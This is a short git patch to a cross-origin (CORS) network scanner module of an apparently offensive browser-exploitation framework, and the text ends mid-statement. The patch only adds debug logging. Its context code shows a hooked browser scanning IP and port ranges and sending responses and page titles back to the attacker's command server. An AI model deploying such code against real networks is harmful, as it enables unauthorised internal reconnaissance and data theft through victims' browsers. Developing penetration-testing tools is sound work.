From 969db8b2ea9d6ad140033ce3ee0abc83423780b9 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 4 Apr 2016 10:36:40 +0000 Subject: [PATCH] Add client-side debugging --- modules/network/cross_origin_scanner_cors/command.js | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/network/cross_origin_scanner_cors/command.js b/modules/network/cross_origin_scanner_cors/command.js index e8126ee75..eb21f162c 100644 --- a/modules/network/cross_origin_scanner_cors/command.js +++ b/modules/network/cross_origin_scanner_cors/command.js @@ -77,7 +77,7 @@ beef.execute(function() { clearInterval(timer); timer = null; var interval = (new Date).getTime() - start_scan; - beef.debug("[Cross-Origin Scanner] Worker queue is complete ["+interval+" ms]"); + beef.debug("[Cross-Origin Scanner (CORS)] Worker queue is complete ["+interval+" ms]"); return; } } @@ -91,7 +91,7 @@ beef.execute(function() { } - beef.debug("[Cross-Origin Scanner] Starting CORS scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)"); + beef.debug("[Cross-Origin Scanner (CORS)] Starting scan ("+(ips.length*ports.length)+" URLs / "+threads+" workers)"); // create worker queue var workers = new Array(); @@ -105,10 +105,11 @@ beef.execute(function() { var worker = workers[i % threads]; for (var p=0; p < ports.length; p++) { var url = proto + '://' + ips[i] + ':' + ports[p]; - worker.queue('beef.net.cors.request(' + + worker.queue('beef.debug("[Cross-Origin Scanner (CORS)] Fetching URL: '+url+'");' + + 'beef.net.cors.request(' + '"GET", "'+url+'", "", '+timeout+', function(response) {' + 'if (response != null && response["status"] != 0) {' + - 'beef.debug("[Cross-Origin Scanner] Received response from '+url+': " + JSON.stringify(response));' + + 'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' + 'var title = response["body"].match("(.*?)<\\/title>"); if (title != null) title = title[1];' + 'beef.net.send("<%= @command_url %>", <%= @command_id %>, "ip='+ips[i]+'&port='+ports[p]+'&status="+response["status"]+"&title="+title+"&response="+JSON.stringify(response));' + '}' +